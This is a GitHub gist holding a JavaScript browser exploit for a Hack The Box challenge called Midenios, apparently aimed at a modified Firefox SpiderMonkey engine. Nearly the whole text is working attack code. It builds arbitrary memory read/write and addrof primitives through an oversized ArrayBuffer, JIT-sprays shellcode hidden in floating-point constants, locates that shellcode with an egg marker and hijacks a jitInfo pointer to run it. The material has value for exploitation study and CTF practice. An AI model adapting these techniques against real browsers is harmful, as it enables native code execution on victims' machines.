Skip to content

Instantly share code, notes, and snippets.

@xct

xct/exploit.js Secret

Last active September 9, 2022 11:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xct/f339058bcb946fb8efd6df00cfb81a0d to your computer and use it in GitHub Desktop.
Save xct/f339058bcb946fb8efd6df00cfb81a0d to your computer and use it in GitHub Desktop.
HTB Midenios Firefox Exploit
/*
HTB Midenios Exploit
Author: @xct_de
References:
- https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets
- https://0xten.gitbook.io/public/hackthebox/business-ctf/2022/midenios
*/
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
let typedB = new BigUint64Array(bBuf)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
function addrof(obj){
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
function shellcode (){
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find
C01 = -6.828527034422786e-229; // 0x9090909090909090
C02 = 6.867659397734779e+246
C03 = 7.806615353364766e+184
C04 = 3.126683868841535e+62
C05 = 3.2060568060029287e-80
C06 = 4.3639296124295675e+169
C07 = 5.08101013116399e+233
C08 = 2.4161938523951585e+233
C09 = 6.975727969197256e+228
C10 = 6.521730203412747e-38
C11 = 2.4320661763226735e-152
C12 = 1.7058643057456533e+272
C13 = 3.567935133035353e-57
C14 = 1.8524372139063032e+106
C15 = 2.634860473837555e-284
}
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
shellcode_addr = addrof(shellcode);
while(shellcode_addr == addrof(shellcode)){
// just block until we get the updated addr
}
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));
// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));
// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
data = read64(it);
if(data == 0x41414141n) {
it = it + 8n; // 8 byte offset to account for magic value
found = true;
break;
}
it = it + 8n;
}
if(!found) {
console.log("[-] Failed to find Jitted shellcode in memory");
}
shellcode_location = it;
console.log("[>] Shellcode @ " + shellcode_location.toString(16));
// Overwrite jitInfo pointer and execute modified function
write64(jitinfo, shellcode_location);
shellcode();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment